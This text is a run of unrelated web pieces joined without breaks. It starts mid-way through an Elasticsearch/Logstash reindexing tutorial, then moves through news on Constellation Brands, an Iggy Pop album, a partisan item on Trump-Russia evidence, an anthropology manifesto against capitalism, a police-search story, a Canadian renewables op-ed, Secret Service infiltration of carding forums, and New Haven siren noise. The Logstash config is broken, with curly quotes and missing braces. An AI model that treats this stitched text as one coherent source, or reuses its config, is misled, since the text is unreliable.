Indexing with a replica means indexing twice, so using twice as much CPU. Adding a replica after indexing is just transferring the data from one host to another. Indeed, losing a data node means losing data. If you can't afford reindexing an index multiple times in case of crash, don't do this and add another zone or allow your new indexes to use the data from the existing zone in the backup data center. There's one more thing we want to do before we start indexing. Since we've set the new zone in the secondary data center, we update the http query nodes configuration to make them zone aware so they read the local shards in priority. We do the same with the active nodes so they read their zone first. That way, we can query the passive http query nodes when reading during the reindexing process with little hassle on what the clients access. In the main data center: node:
zone: 'barack' And in the secondary: node:
zone: 'chirack' Here's what our infrastructure looks like now.
It's now time to reindex. We first tried to reindex taking the data from our database clusters, but it put them on their knees. We have large databases and our dashboard are made of documents crawled over time, which means large queries on a huge dataset, with random accesses only. In one word: sluggish. What we're doing then is copy the existing data, from the old indexes to the new ones, then add the stuff that makes our data richer. To copy the content of an existing index into a new one, Logstash from Elastic is a convenient tool. It takes the data from a source, transforms it if needed and pushes it into a destination. Our Logstash configuration are pretty straightforward: input {
elasticsearch {
hosts => [ “esnode0{3,4}” ]
index => “<old mapping id>_INDEX_ID”
size => 1000
scroll => “5m”
docinfo => true
} output {
elasticsearch {
host => “esdataXX”
index => “<new mapping id>_INDEX_ID”
protocol => “http”
index_type => “%{[@metadata][_type]}”
document_id => “%{[@metadata][_id]}”
workers => 10
stdout {
codec => dots
} We can now run Logstash from a host inside the secondary data center. Here, we: read from the passive http query nodes. Since they're zone aware, they query the data in the same zone in priority
That’s because investors are worried about what Donald Trump’s victory could mean for Constellation Brands (stz-b), owner of a Mexican brewer that targets an American customer base that could potentially face deportation.
At the beginning of the company’s institutional investor meeting, Constellation’s first in three years, Sands immediately addressed that elephant in the room.
“I don’t expect [the election] to affect our business in the short term and as these policies develop, we will respond accordingly and engage with government accordingly,” said Sands, whose company is the largest producer of wine, beer and spirits in the U.S. “And I would add: We’ve had a long history of working with our representatives from all levels of the U.S. government from both political parties. As Trump develops his plans, we will continue to engage with them.”
Sands praised the company’s impressive sales and stock performance in recent years, bolstered by billions that have been invested in new acquisitions, including a deal a few years ago to buy the U.S. assets of Mexican brewer Grupo Modelo. With that deal, a side acquisition that allowed Big Beer producer Anheuser-Busch InBev (bud) to buy Grupo, with Constellation picking up the high-flying U.S. import business. The portfolio includes Corona Extra, Modelo Especial, and Pacifico—those beers have helped Constellation become the top contributor to growth in the total U.S. beer category.
Constellation also has added craft brewer Ballast Point, Casa Noble tequila and High West craft spirits to the portfolio. Sales have been booming—net sales increased 17% in the latest quarter, with particular strength for the beer brands, though wine and spirits sales also grew.
The company also thinks it is well-positioned to capture the ever-alluring millennial generation. That group drinks far less beer than prior generations—and far more wine and spirits. That better balanced mix of all three alcoholic beverage categories plays to Constellation’s natural strength. More acquisitions could be on the horizon, executives hinted, to bulk up even more.
Despite all these strengths, Constellation Brands has some inherent risk due to Trump’s contentious relationship with Mexico, in particular his attacks on firms that produce goods there that could be made in the United States. Constellation is closely tied to that market, as both a purveyor of Mexican beers and also by physical operations in the nation.
The company is spending roughly $4.5 billion through 2021 to expand capacity at the Nava Brewery and also build a new, state-of-the-art brewery near the California border to meet expected rising demand in import beers. An additional $600 million was thrown down last month to buy a brewery from Grupo Modelo last month.
Iggy Pop convinced Josh Homme to record his new solo album by sending him three essays about his sex life.
Pop will release new album ‘Post-Pop Depression’ later this month (March 18). The album was recorded with producer Homme, who also played on it alongside Arctic Monkeys drummer Matt Helders.
Pop and Homme sat down with The Guardian to discuss the making of the album with the punk frontman explaining what he wanted from the album and why Homme had to be involved.
SEE MORE: Iggy Pop – Post Pop Depression Track By Track
“I was looking to make high-quality, non-band solo work, where you really put both feet into it,” he said. “I’d been skirting around it: doing an album in French, or a soundtrack, or a reunion band album. I wanted to find the best and he’s the best. I sent him a dossier on me by FedEx: written form, no email. I sent him three essays I’d written on my sex life about specific people. I also sent him an interview I did with an eminent critic here in New York about his concerns about my career.”
http://www.youtube.com/watch?v=DngIWkQVPgU
Homme admitted that he was taken back by the delivery: “When I got his package it was so inspiring, and a bit overwhelming. I didn’t send anything back for three months.”
Sharethrough (Mobile)
However, the Queens of the Stone Age frontman was full of praise for his new collaborator: “Lemmy is gone. Bowie is gone. He’s the last of the one-and-onlys,” he said. “It took balls to be him: a little guy with a big dick scaring people in Detroit. Everyone should take a knee for Iggy. He deserves it. He never got [the respect or the acclaim], mostly by his own hand, but he made the shit that’s spawned more bands than any other person, ever. Bring on the statues, you motherfuckers!”
Iggy Pop will headline London’s Royal Albert Hall with new bandmates Josh Homme and Matt Helders in May.
The band will be playing select live dates around the globe, with Homme on record as saying they will only perform in “small, beautiful theaters where their presence might still seem disruptive.”
The first UK venue to host the band will be the Royal Albert Hall in London with the band set to play on May 13.
Iggy Pop will play:
London, Royal Albert Hall (May 13)
Still No Evidence Of Trump-Russia Connection
On Monday, House Intelligence committee chairman Devin Nunes said that lawmakers should not begin a McCarthy-style investigation based on a just a couple of reports from the media CBS reported.
From CBS:
“We just cannot go on a witch hunt,” Nunes told reporters.
Nunes went as far as to say that he hasn’t seen any evidence that the Trump campaign had any sort of contacts with Russian officials according to the Washington Times.
From The Washington Times:
“We still don’t have any evidence of them talking to Russians,” Mr. Nunes said as he briefed reporters. “As of right now, the initial inquiries I’ve made to the appropriate agencies, I don’t have any evidence.” He said he’s interested in evidence, but it doesn’t appear the investigative agencies have it. The New York Times, citing anonymous U.S. officials, reported earlier this month that Trump campaign aides had “repeated” contacts with Russian intelligence, based on “phone records and intercepted calls.”
This is not surprising at all. On Sunday, The Gateway Pundit documented a lie that was being promoted by the New York Times where they intentionally misled readers by misquoting what President Trump said during his CPAC speech.
The Gateway Pundit also posted a video on Sunday from MSNBC’s Meet the Press where Senator Tom Cotton blasted Chuck Todd for relying too much on anonymous sources. Chuck Todd immediately changed topics and made zero attempt to defend his position after being exposed by Cotton.
Anthropology, Moral Optimism, & Capitalism
We owe it to ourselves and to our interlocutors to say loudly that we have seen alternative visions of humankind–indeed more than any academic discipline–and that we know that this one . . . [a capitalism] that constructs economic growth as the ultimate human value . . . may not be the most respectful of the planet we share, nor indeed the most accurate nor the most practical. We also owe it to ourselves to say that it is not the most beautiful nor the most optimistic.
–Michel-Rolph Trouillot, Global Transformations (2003:139)
[We lost this brilliant anthropologist in 2012–see Trouillot In Memoriam and free PowerPoint “Anthropology & Moral Optimism.”]
A spectre is stalking Capitalism–the spectre of Anthropology. All the Powers of Capitalism have bound themselves in a crusade against this spectre: the Florida Governor and the US President; DSK and the IMF; Wall Street and Forbes; Napoleon Chagnon, David Brooks, Jared Diamond and Steven Pinker.
Anthropology knows that what currently exists does not have to be. Anthropology knows more about capitalism than any other academic discipline. Anthropology needs to make “an explicit claim to the moral optimism that may be this discipline’s greatest appeal and yet its most guarded secret” (Trouillot 2003:136).
It is high time that the Anthropologists openly set forth before the whole world their perspective, their aims, their tendencies, and meet this fairy tale about Capitalism with a Four Field Manifesto. To this end, Anthropologists of the most diverse nationalities and subfields assemble to answer the question of What is Anthropology? with a Four Field Manifesto. Please read and share, joining our contentious anthropological tradition.
The Market-Capitalist Religion
The premises of the market-capitalist religion:
Humans are naturally greedy-selfish. Capitalism harnesses greed and selfishness for productive dynamism. Capitalism successfully delivers the goods. Capitalism is invincible.
One mistake of The Communist Manifesto (which this four field manifesto borrows heavily from!) was to accept these claims. The first chapter reads like a paean to the bourgeoisie, crediting them with a thoroughgoing revolution and transformation in every aspect of life:
The bourgeoisie, during its rule of scarce one hundred years, has created more massive and more colossal productive forces than have all preceding generations together. Subjection of Nature’s forces to man, machinery, application of chemistry to industry and agriculture, steam-navigation, railways, electric telegraphs, clearing of whole continents for cultivation, making river-traffic possible, whole populations conjured out of the ground–what earlier century had even a presentiment that such productive forces slumbered in the lap of social labour? (66)
Fairy Tale of Capitalist Triumph & Inevitability
Marx and Engels portray capitalism as a revolutionary and inevitable force, and then communism as a further inevitable revolution. Later, when in the reflective-historical mode of the Eighteenth Brumaire of Louis Bonaparte, Marx was much more circumspect about the influences of past traditions, the complexities of class analysis, and the non-inevitability of historical transformations. (See Class Theory or Class Analysis? A Reexamination of Marx’s Unfinished Chapter on Class.)
Anthropology cannot make the mistake of accepting the capitalist fairy tale. We must challenge each part of the fable. “When powerful financiers, politicians, and economists tell billions of humans that they should adopt the market as sole social regulator, anthropologists are well placed to show that what is presented as a logical necessity is actually a choice” (Trouillot, 2003:138).
Fortunately anthropology has a four field manifesto and rebuttal to the four parts of the fable.
Biological Anthropology: Humans Not Naturally Greedy-Selfish
Greed and selfishness are certainly present across human groups and our non-human primate relatives. But this does not mean greed and selfishness are any more fundamental to human nature than altruism or empathy, as Sarah Blaffer Hrdy demonstrates in Mothers and Others: The Evolutionary Origins of Mutual Understanding. As Daniel Lende writes in a beautiful and moving post, Why We Protest: “Our sense of fairness, and the human emphasis on cooperation and reciprocity, is something with deep evolutionary roots, to chimpanzees and capuchins and beyond, and yet uniquely developed in humans so that we can do it in generalized ways.”
Biological anthropology reveals primate plasticity, variability, and flexibility. We are not programmed for any particular kind of life, a point emerging from the fatherhood and testosterone studies. It is not that men are biologically programmed for fatherhood, or women for motherhood. Our abilities and biological capacities emerge within a process of development:
Human beings are not naturally pre-equipped for any kind of life; rather, such equipment as they have comes into existence as they live their lives, through a process of development. And this process is none other than that by which they acquire the skills appropriate to the particular kind of life they lead.” (Tim Ingold, The Perception of the Environment 2000:379; see also the section on Human Nature & Anthropology)
Biological Anthropology: Traits in Context
Moreover, all of these so-called traits–greed, selfishness, altruism, empathy–even as they might be bioculturally reinforced and developed, depend a great deal on context. Someone marked as greedy in one context can be quite altruistic in another. The values we ascribe to particular contexts can make all the difference. This is a further contribution of biological anthropology. We question all those just-so stories about gender relations and domesticity, lately served up by evolutionary psychology. See Anthropology, Sex, Gender, Sexuality: Gender is a Social Construction.
Even Adam Smith, falsely enlisted by fairy-tale capitalism as the defender of self-interest, saw a buffer in the idea of sympathy. Other human beings take the role of a moral spectator (see philosopher Chris Keegan’s comment). In fact, what Adam Smith viewed as the essential human characteristic of sympathy is quite like what Hrdy describes as evolutionary empathy.
The world needs biological anthropology and primatology more than ever before. We can have our disagreements about testable hypotheses, the precise role of biology in the patterns of human behavior, the degree of hierarchy in non-human primate societies. But we can agree humans are not by nature programmed to be greedy and selfish, not by nature condemned to the vast inequalities of contemporary capitalism. Back to Lende: “Chimpanzee society does not function on 1% versus the other 99%. Life does not function that way.”
Archaeology & Dynamism
The second part of the capitalist fairy tale is how capitalism harnesses natural greed to purposes of productive dynamism. As above, The Communist Manifesto over-celebrates this dynamism, ascribing to capitalism incredible transformation and constant revolution. We can now look historically and see other periods of non-capitalist dynamism. There were many who admired Russia in the 1920s, Germany in the 1930s, or Cuba in the 1960s because these regimes seemed to deliver more rapid economic development and dynamism than capitalism. But these systems withered, and today are not a counterpoint to capitalist dynamism.
Fortunately, anthropology has archaeology, which gives us a long-range perspective on dynamism.
Can anyone say that the present balance of economic and political power will be the same in 2500 as it is today? For example, in the year 1500 some of the most powerful and largest cities in the world existed in China, India, and Turkey. In the year 1000, many of the mightiest cities were located in Peru, Iraq, and Central Asia. In the year 500 they could be found in central Mexico, Italy, and China. . . . What geographic determinism can account for this? Is history a report card of success or failure? (McAnany and Yoffee, Questioning Collapse, 2010:10)
Capitalism has been dynamic for 100-200 years. But archaeology shows us incredibly diverse and dynamic societies, flourishing and ebbing, sometimes over a 700-800 year span. As David Graeber and David Wengrow put it in How to change the course of human history: “40,000 years is a very, very long period of time. It seems inherently likely, and the evidence confirms, that those same pioneering humans who colonised much of the planet also experimented with an enormous variety of social arrangements.”
Archaeology & Sustainability
Archaeology invites us to consider sustainability. As McAnany and Yoffee ask, what will the balance of economic and political power be in 2500? Or, more pointedly, can our planet endure 500 more years of capitalism? At present trend, we could be facing vast species death and massive dislocations. Jared Diamond was surely wrong about agriculture as the Worst Mistake in the History of the Human Race. But industrial capitalism is looking very much like the worst mistake in human history, as it continues to take us to the brink of global annihilation.
As Questioning Collapse rightly demonstrates, we do not need to stress the Collapse of ancient societies–many of which feature remarkable long-run resilience, creativity, and non-capitalist dynamism–in order to question our present trajectory.
The world needs archaeology more than ever before. We may disagree on processual versus post-processual approaches or the comparability of complex societies. But we can agree on the need for a long-term archaeological perspective to counter the extreme short-term horizon of contemporary capitalism.
Cultural Anthropology: Capitalism Does Not Deliver
One reason anthropology knows more about capitalism than any other discipline is that anthropologists have not just studied capitalism from the inside. Most anthropology was done with people subjected to capitalism, people who were often forced to provide the labor or coerced into furnishing the raw materials for capitalist dynamism. For much of the world’s population, capitalism has already been–and continues to be–a miserable failure.
Of course indigenous response has varied. There have been those who have profited tremendously from capitalism. People have ingeniously appropriated capitalist products and styles. People have not just been pawns in the system but have actively influenced and altered that system. No one knows these facts better than anthropologists. As Thomas Hylland Eriksen writes in a new foreword to Eric Wolf’s Europe and the People Without History:
Through the dual processes of integration and disintegration, wealth creation and poverty creation, empowerment and humiliation, global capitalism leaves contradictions in its wake. The story of contemporary globalization is not a straightforward saga of development and progress, nor is it a simple tale of neocolonialism and oppression. It needs to be narrated from a local vantage point, and whatever their degrees of interconnectedness, localities are always unique blends of the old and the new, the endemic and the foreign, power and powerlessness. (2010:xiv)
Cultural Anthropology & Capitalist Crisis
On balance capitalism has at best been a mixed bag, at worst catastrophic. And this fact applies not just on the edges of capitalism but at its heart. Keynesianism delivered periods of relative stability and apparently fine-tuned management of the business cycle. But we are back to lurching from crisis to crisis, in ways not seen since 1929 or the times of Marx and Engels.
Anthropologists are well placed to face these changes, first by documenting them in ways that are consistent with our disciplinary history. The populations we traditionally study are often those most visibly affected by the ongoing polarization brought about by the new spatiality of the world economy. They descend directly from those who paid most heavily for the transformations of earlier times. . . . We cannot abandon the four-fifths of humanity that the [ 1% ] see as increasingly useless to the world economy, not only because we built a discipline on the backs of their ancestors but also because the tradition of that discipline has long claimed that the fate of no human group can be irrelevant to humankind. (Trouillot 2003:138; see The Discovery of Sidney Mintz: Anthropology’s Unfinished Revolution)
The world needs cultural anthropology more than ever before. We may disagree on the importance of Jared Diamond or Napoleon Chagnon. But we can agree that when much of the world’s population gets written off as irrelevant, then anthropological fieldwork has become even more necessary. Back to Eriksen, who tells us Wolf’s “perspective is even more sorely needed than it was when Europe and the People Without History was written in the early 1980s” (2010:xvii; see also Eric Wolf, Europe and the People Without History).
Linguistic Anthropology: Capitalism is Not Invincible
Capitalism is not just an economic system. What Trouillot terms the “geography of management” is accompanied by a “management of imagination” (2003:36). The West is a projection of “North Atlantic universals” through words like development, progress, and modernity:
North Atlantic universals so defined are not merely descriptive or referential. They do not describe the world; they offer visions of the world. . . . They come to us loaded with aesthetic and stylistic sensibilities, religious and philosophical persuasions, cultural assumptions ranging from what it means to be a human being to the proper relationship between humans and the natural world, ideological choices ranging from the nature of the political to the possibilities of transformation. . . . As a discipline, we have launched the most sustained critique of the specific proposals rooted in these universals within academe. Yet we have not explored enough how much these universals set the terms of the debate and restricted the range of possible responses. (2003:35,46)
It is here we most need the insights of a linguistic anthropology attuned to language and power, the condensed histories of words, and how words become harnessed to imagination. Anna Tsing’s Friction: An Ethnography of Global Connection contemplates a similar project, examining how the particular universals travel. “This brings to light a deep irony: Universalism is implicated in both imperial schemes to control the world and liberatory mobilizations for justice and empowerment. . . . Universals beckon to elite and excluded alike” (2005:9).
The world needs linguistic anthropology more than ever before. We may disagree on universal grammar or the Sapir-Whorf hypothesis. But we can agree that the imagination of capitalist invincibility is built on shaky and contested terms–terms that can also be used toward emancipatory ends.
Anthropology: Observe, Describe, Propose
This account of contributions from each of anthropology’s subfields is not meant to fragment and divide. The world needs an Introduction to Anthropology more than ever. Anthropologists can stand with anthropology as a whole. As Tim Ingold opens Being Alive: “I am an anthropologist: not a social or cultural anthropologist; not a biological or archaeological anthropologist; just an anthropologist” (2011:xi).
Ingold’s comparison of anthropology with art and architecture is pertinent:
The truth is that the propositions of art and architecture, to the extent that they carry force, must be grounded in a profound understanding of the lived world, and conversely that anthropological accounts of the manifold ways in which life is lived would be of no avail if they were not brought to bear on speculative inquiries into what the possibilities for human life might be. Thus art, architecture and anthropology have in common that they observe, describe and propose. There is, perhaps, a discipline waiting to be defined and named where those three fields meet, and if some readers would prefer to regard this book as a kind of manifesto for that discipline, then I shall not object. (p. xi)
Anthropology documents human possibility. Anthropology demonstrates that the way things are is not the way things must be. We do not need to support market-capitalism at all costs. We do not need to believe the capitalist fairy tale, even as we seek to understand its power and allure.
The US Government is Dysfunctional (written in 2012; see also 2017-present)
At this juncture, anthropologists recognize the United States does not have a functioning government. This is no longer a functioning government capable of acting on behalf of the governed.
As David Graeber recounts in On Playing By the Rules:
After all, how could there have been a more perfect alignment of the stars than happened in 2008? That year saw a wave election that left Democrats in control of both houses of congress, a Democratic president elected on a platform of “Change” coming to power at a moment of economic crisis so profound that radical measures of some sort were unavoidable, and at a time when popular rage against the nation’s financial elites was so intense that most Americans would have supported almost anything. If it was not possible to enact any real progressive policies or legislation at such a moment, clearly, it would never be. Yet none were enacted. Instead Wall Street gained even greater control over the political process, and, since Republicans proved the only party willing to propose radical positions of any kind, the political center swung even further to the Right. Clearly, if progressive change was not possible through electoral means in 2008, it simply isn’t going to be possible at all. And that is exactly what very large numbers of Americans appear to have concluded.
Four Field Manifesto: 10 Proposals
With respect to the specifics of our political-economic situation and the condition of capitalism, anthropology urges:
That poverty and inequality be placed at the forefront of policy agendas. Walmart Socialism. Progressive income taxes and taxes on conspicuous consumption, with revenue devoted to a true national healthcare system: Medicare/Medicaid-for-All. Gun Reform. Increasing inheritance taxes and other measures to address wealth inequalities. Revenue devoted to prenatal care, infant nutrition and early childhood education. Abolition of off-shore tax havens, declaration of all income from investments, and full enforcement of capital-gains taxes, with revenue devoted to reparations. Regulations on credit and banking so the financial industry becomes a boring sector dedicated to allocating investment, not a glamorous parade of outsized returns. Expropriate Goldman-Sachs. Investment in mass-transit and regional infrastructure to provide alternatives to individual automobiles. An agricultural plan to phase out subsidies for monocropping, to encourage environmentally-sustainable farm management, and eliminate the tariffs harming the world’s poorest farmers. Support Artisan Production. A true jobs program to increase employment, with work targeted toward infrastructure improvement and environmentally-sensitive retrofitting. Consideration of measures such as reducing the work week in order to address employment contradictions. Local Economy Manifesto. Comprehensive immigration reform to bring rationality and humanity to a broken system. Investment in education to create truly informed citizens. An educational system based on human holism, not just mono-dimensional economic efficiency. Anthropology is the Best Major to Change Your Life.
Anthropology has expertise and knowledge about each of these issues. Anthropologists disdain to conceal their views and aims. They openly declare that their objectives can be attained only by breaking the shackles of tradition: “In fact, my whole outlook upon social life is determined by the question: how can we recognize the shackles that tradition has laid upon us? For when we recognize them, we are also able to break them” (Franz Boas 1938:202, “An Anthropologist’s Credo” in The Nation).
Four Field Manifesto & Academe
Let the deep modification of the human sciences begin. Anthropologists have nothing to lose but our irrelevance. “We can make the world less unjust; we can make it more beautiful; we can increase our cognition of it” (Wallerstein, The End of the World As We Know It: Social Science for the Twenty-First Century 2001:250).
The life expectancy of irrelevance tends to be short. More courageous and healthier is the acknowledgment of the many dead ends within the human disciplines brought about or brought to light by current global transformations, including the death of utopia. We might as well admit that all the human sciences may need more than a mere facelift; most will be deeply modified and others, in their current institutional shape, might disappear. As the world changes, so do disciplines.
–Trouillot 2003:138
Anthropologists and allies of all lands unite!
Revisiting Moral Optimism
I revisited this article in June 2017 inspired by Sarah Jaffe’s Unexpected Afterlife of American Communism. Jaffe reveals common dimensions for an anthropology that understands race and racism. Jaffe also reveals hidden connections to the Caribbean, an important theater of global history and crucial for the anthropology practiced in this four field manifesto.
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From The Tennessean:
A video of Rutherford County deputies stopping a Middle Tennessee State University student at a DUI checkpoint, then asking him to pull over and searching his car after he wouldn’t roll the window all the way down, is nearing 2 million hits on YouTube. Libertarians nationwide have been recording interactions with police in a campaign to demonstrate what they call violations of constitutional rights. A party representative said Chris Kalbaugh, 21, checked in and got the go-ahead for such a demonstration before he stopped at the checkpoint and encountered Rutherford County Sheriff’s Deputy A.J. Ross. Kalbaugh’s video camera was recording from the passenger seat, aimed toward the driver’s side window. In the video, Ross asks Kalbaugh to roll down his window farther, and Kalbaugh refuses, saying it’s fine where it is. When Kalbaugh continues to challenge Ross’ demands, Ross orders him to pull his car over and step out. Later, a drug dog searches the outside of car, then inside.
Reason writers have chronicled the mysterious art of handling drug-sniffing dogs, which causes them to alert whenever it's most convenient for police. The Supreme Court has dismissed dogs' track records in terms of accuracy, saying that a mere alert is sufficient grounds for a search. Of course, that opens the door for handlers to prompt "alerts" from their loyal animals without actual cause. It's no surprise that the officers found nothing in Kalbaugh's car.
Note how Deputy A.J. Ross, before the deputies realize they're being recorded, admits, "He's perfectly innocent and he knows his rights. He knows what the Constitution says."
Ross's comment is followed by another deputy conceding, "It wasn't a very good alert." That deputy then notices the camera.
Kalbaugh drove away after a delay for the fruitless search and harassment, and with yet more evidence of how little police conduct has to do with the theoretical restrictions on their authority.
The stop occurred on Independence Day.
Follow this story and more at Reason 24/7.
The plan contains measures that will help Canada hit its obligations under the Paris Agreement, such as introducing carbon pricing, phasing out coal-burning power stations and boosting support for clean-energy technologies.
These modest and sensible steps have been seized on by critics keen to air increasingly dated arguments that clean energy is a luxury Canada cannot afford.
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Gwyn Morgan, a former energy company CEO, called the plan's carbon pricing proposals "economic suicide." Other writers have sought to place blame for rising hydro bills exclusively on renewables when, in fact, much of these costs cover nuclear and natural gas generation and long-overdue infrastructure upgrades.
Arguments like these are constructed from selective data and blindness to the historic shifts that are under way in the energy market. The simple reality is this: We've reached a tipping point for renewable energy. It's no longer fervent environmentalism driving the transition to clean energy – it's economics.
Over the past decade, the cost of renewable electricity has tumbled. The U.S. Department of Energy puts the drop at 64 per cent for utility-scale solar power and 41 per cent for land-based wind since 2008. At these levels renewables are competitive with coal and natural gas, and they will get even cheaper.
Markets and governments are reacting to these new financial realities with large investments in renewable electricity, especially in Asia. China, already the world's largest producer of solar power, has announced plans to invest 1.7 trillion yuan ($324-billion) in wind and solar projects over the next five years. India's government expects that 57 per cent of its electricity generating capacity will come from non-fossil-fuel sources within 10 years.
In addition, advances in energy storage are making an electricity grid powered entirely by renewables a genuine possibility for the first time.
Skeptics of renewables have frequently claimed that wind and solar will never fully replace fossil fuels because their output is too variable – conventional power stations will still be needed for days when the sun doesn't shine and the wind doesn't blow. That argument is now crumbling. Game-changing technologies are becoming available that make it possible to efficiently and affordably store renewable energy, smoothing out the peaks and troughs of supply.
One system is currently being tested beneath the waters of Lake Ontario by Hydrostor, a Toronto-based clean technology company. It uses underwater inflatables that are expanded with compressed air during times of energy oversupply and released to turn electricity-generating turbines during peak demand. It is a low-cost way to store large amounts of renewable energy.
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At the consumer level, products such as Tesla's Powerwall battery can be installed in homes or offices to store solar power generated in the day and discharge it at night. MPOWER Energy Solutions will shortly start delivering the system in Canada.
No doubt, challenges remain. Globally, roughly 20 per cent of electricity demand is supplied by renewable sources. When hydroelectricity is excluded, this figure falls to 4 per cent. Renewables form an even smaller part of the energy used for heating and transportation.
The scale of these challenges only underlines the scale of the opportunity. The next decades will be a period of transition as technologies to generate and store renewable energy gradually replace trillions of dollars of existing fossil-fuel infrastructure. According to the International Energy Agency, already half a million solar panels are installed around the world each day and, in China, two wind turbines go up every hour.
The rising global demand for renewables represents an opportunity for Canada to become a leading provider of clean technology. Our clean-technology sector is already generating exports and creating well-paid jobs while cutting greenhouse-gas emissions. Investments now being made in clean technology innovation, coupled with a road map for pricing carbon, position us to take a greater slice of this rapidly growing global market.
It is vital that we continue to support creation and adoption of new clean technologies in Canada, or we risk losing our competitive edge to countries that are fully committed to a low-carbon economy.
The rush for renewables is happening – and it will continue with or without us. In the long term, failure to embrace this transition really would be economic suicide.
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Smith was a witness at a field hearing called, simply, “Hacked Off: Helping Law Enforcement Protect Private Financial Information.”
At the naughtily named hearing, Smith detailed how the Secret Service has infiltrated underground websites (including both hacker and cyberfraud sites) and bulletin boards. A 2008 investigation into criminals who stole credit and debit card numbers from Dave & Buster’s, OfficeMax, Sports Authority, and Barnes & Noble customers was largely accomplished thanks to accounts by undercover feds on illegal websites.
Undercover Secret Service agents then, with the assistance of Turkish and other international investigators, traced the sale of stolen American credit card numbers to Russia and Eastern Europe.
While The Guardian has previously revealed that the Secret Service has infiltrated hacker websites, this is one of the first times a federal official has spoken on the record about the extent of law enforcement penetration.
by Paul Bass | May 12, 2017 6:59 am
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Posted to: Environment
New Haven can’t turn down the volume on ambulance or fire-engine sirens, but it can still lessen some of the noise — and it’s trying. So reported New Haven’s emergency management and fire chiefs and the regional head of American Medical Response (AMR) ambulance company. Facing both a steady increase in emergency medical calls as well as public complaints about noise, they have been working along with city Chief Administrative Officer Mike Carter to find ways to lessen the noise. The four officials offered an update on that quest — which began in 2014 at Mayor Toni Harp’s direction after complaints from the business community — at an unusual joint meeting with a single citizen at City Hall. Carter, emergency management chief Rick Fontana, Fire Chief John Alston Jr., and AMR regional chief Chuck Babson met in Carter’s office late last week with a University of Bridgeport law professor named Ryan Knox, who has been consistently contacted the city over the past two years about the increasing frequency of deafening sirens outside the Taft apartment building at College and Chapel streets, where he lives. They updated Knox on their efforts and explained what they can’t do. “It’s really an explosion in the last few years. It’s constant,” Knox told them. “We’re known as ‘Siren City.’” Fontana, Babson and Alston said that sirens in New Haven are set at the same levels as those in all other communities in the country, based on National Fire Protection Association standards. Also, Fontana noted, New Haven is the only one of Connecticut’s five largest cities to train all firefighters as emergency medical technicians. That means that often two or three crews — one AMR ambulance crew, a fire engine crew, and a fire paramedic crew, all with sirens blaring — show up at medical calls that might see only one or two elsewhere. Downtown, “canyons” between tall buildings magnify those sirens even further. And emergency medical calls have increased 6 to 7 percent a year for the past five years as the population ages, according to Babson. The city handled a total of around 40,000 emergency medical calls this past year, Fontana said: fire crews participated in 25,000 of them, while AMR handled the other 15,000 alone. “We do have more ambulances on the road. No doubt about it. We’re looking at data to make it better. We’ve made some changes,” Fontana said. “This is not falling on deaf ears.” Not All Calls The effort began after the siren issue kept coming up at meetings of a mayor’s Perception Task Force in 2014, Fontana said. One first step was to negotiate new protocols for when fire units accompany ambulances on 911 calls. The city stopped sending the fire crews to doctors’ offices where a call has come in that basically requires transportation to a hospital, he said. The new rule, which took effect in April 2015, affected nine medical office buildings as well as 30 hospital departments and local health clinics. (The fire department will go to some of those lower-priority calls if an ambulance isn’t available for 15 minutes.) That alone lowered the number of fire department-involved calls by 1,000 this past year, Fontana estimated. Fire engine companies still go to those locations to respond to calls involving cardiac or respiratory arrest, severe respiratory distress, unresponsive patients, and severe trauma (like gunshots, third-degree burns, amputation, or “falls greater than 20 feet”), according to a memo by former NHFD Operations Chief Matthew Marcarelli. In an interview Monday, city fire union President Frank Ricci said New Haveners are safer because of the general rule of sending fire paramedics to calls. The firefighters arrive promptly and can start giving victims oxygen and check their vitals, so that when the AMR crew arrives on the scene, its paramedics can proceed right into providing care. Also, Ricci said, “New Haven is basically a three-story city. There is no way for [AMR] paramedics to bring you down the stairs and render care. You need that engine company there. It takes six people to get somebody down the stairs with a monitor on them, oxygen on them. It’s not a two-person job.” That said, Ricci agreed that it makes sense not to send firefighters anymore to most doctor’s office calls, because trained first responders already work in those offices. He said that firefighters still end up going on some of those calls despite the new rule, because some more 911 dispatch protocols still need fine-tuning. AMR Repositions Meanwhile, AMR has reexamined where it positions its ambulances around town. It doesn’t keep the ambulances at a central locations; based on reviews of service calls, it chooses locations where the ambulances will be closest to the most likely destinations they’ll be sent. After receiving complaints like Ryan Knox’s, AMR has been able to find equally useful locations to station ambulances a few blocks away from the densest residential blocks. AMR is gradually reducing how much of its fleet runs on diesel engines, which also helps reduce noise, Babson said. Fontana and Fire Chief Alston said it may be possible to have firefighters delay turning on sirens at the beginning of some lower-priority calls. That matter is now under review. Fontana added that the city is in the process of purchasing a new paramedic ambulance for the fire department. The department currently has two; the new one, based at Dixwell’s Goffe Street station, will lessen the routes that they need to travel, sirens blaring, to calls. Win Davis, executive director of the Town Green Special Services District, has participated in the Perception Task Force meetings. He credited city CAO Carter with making progress in response to he public’s concerns. “My office is on the seventh floor of 900 Chapel. Since we started talking about this issue with the city, I hear fewer sirens,” Davis said in an interview. Knox is less impressed. In his ten years living downtown, he said following the meeting at City Hall, he has noticed the noise getting worse over the past two years, “an explosion of noise, mostly ambulance and fire engine air horns. I don’t remember all the fire trucks attempting to barrel through downtown, clear intersections and take tight corners. I know for a fact people are moving out of downtown because of it, and when it comes to trying to get people to come in, it isn’t panhandling, or meters, or crime. It is sirens that gets mentioned most often.” Knox said he appreciated that city officials “took the time to meet with me” to discuss solutions. He said he feels the city should hold a public hearing on the subject and reconsider the “logic of sending all that fire equipment and mass, and then billing the taxpayer. I think there should be some proportionality to EMT responses — we don’t send in SWAT teams and paratroopers just to save time for example, so I wonder what the trade-off is between a sustained quality of life and the need to shave off one minute to a call.” Fontana said the search for more ways to reduce noise will continue, but sirens remain a fact of life in a city with two major hospitals. “The bottom line is we’re trying to do as best as we can to provide the highest level of emergency care at the lowest noise level possible,” Fontana said. “Unfortunately, when you’re going on an emergency call, you need to move vehicles out of the way, and you have to use a siren to do that.”
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posted by: Dwightstreeter on May 11, 2017 3:38pm Years ago I was told by a YNHH nurse that ambulances were not supposed to use their sirens on side streets - like Dwight - but you can regularly observe them doing that day and night. It is piercing and disruptive inside dwellings, not just outside.
As for the downtown, it is an ongoing cacaphony of sirens and motorcycles with deliberately busted mufflers. How hard is it for the NHPD to ticket some of their bros and make them fix their mufflers?
Loud sounds are documented to cause stress.
This is a public health issue, not just a public relations one.
